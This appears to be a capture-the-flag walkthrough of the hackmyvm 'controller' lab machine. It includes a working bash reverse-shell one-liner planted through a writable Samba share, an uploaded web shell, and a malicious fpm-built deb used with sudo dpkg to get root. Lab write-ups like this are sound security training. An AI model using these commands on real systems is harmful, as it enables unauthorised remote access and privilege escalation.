当前位置:网站首页>hackmyvm: controller walkthrough
hackmyvm: controller walkthrough
2022-08-02 03:59:00 【xdeclearn】
1. get first reverse shell
visit port 80, from the page http://192.168.85.135/index.php/2021/06/27/hola-mundo/
we get hint.
use enum4linux
to get samba shares, the we get the directory tester
which we can visit without user and passwd.
follow the hint, we put the text.txt using smbclient
in this share, wait a moment, we get first reverse shell.
test.txt
import commands
commands.getoutput('/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.85.129/4444 0>&1"')
2. get root
check process list, we can see the user webservies run php localhost.
we use the tool venom
to forward localhost port 8080 to attack machine port 8888.
upload a word shell by upload.php
.
because of thedisable_functions
, you can not use terminal directly. you can use php7_userfilter
to bypass. But in there, you do not need to do this.
check the file which own to user webservices
.
we find the /opt/logs/log.txt
will be changed by /opt/website.py
at intervals. so we change the file to reverse a new shell.
then, we get the new user shell.
check sudo -l
, we find the dpkg -i
[1]. make a particular deb by using fpm
, we get the root.
TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
3. references
- https://gtfobins.github.io/gtfobins/dpkg/
边栏推荐
- php函数漏洞总结
- Masashi: 1 vulnhub walkthrough
- MySql Advanced -- Constraints
- PHP图片压缩到指定的大小
- 13.JS输出内容和语法
- After the mailbox of the Pagoda Post Office is successfully set up, it can be sent but not received.
- QR code generation API interface, which can be directly connected as an A tag
- 解决uni-app 打包H5网站 下载图片问题
- Phonebook
- Basic use of v-on, parameter passing, modifiers
猜你喜欢
随机推荐
TCP通信程序
PHP image compression to specified size
(4) Function, Bug, Class and Object, Encapsulation, Inheritance, Polymorphism, Copy
IO streams, byte stream and byte stream buffer
hackmyvm-bunny walkthrough
CTF入门之md5
Batch replace file fonts, Simplified -> Traditional
Shuriken: 1 vulnhub walkthrough
TypeScript 错误 error TS2469、error TS2731 解决办法
16.JS事件, 字符串和运算符
Baidu positioning js API
Alfa: 1 vulnhub walkthrough
GreenOptic: 1 vulnhub walkthrough
hackmyvm: juggling walkthrough
New usage of string variable parsing in PHP8.2
Pycharm打包项目为exe文件
4.PHP数组与数组排序
php函数漏洞总结
(7) superficial "crawlers" process (concept + practice)
逍遥多开模拟器ADB驱动连接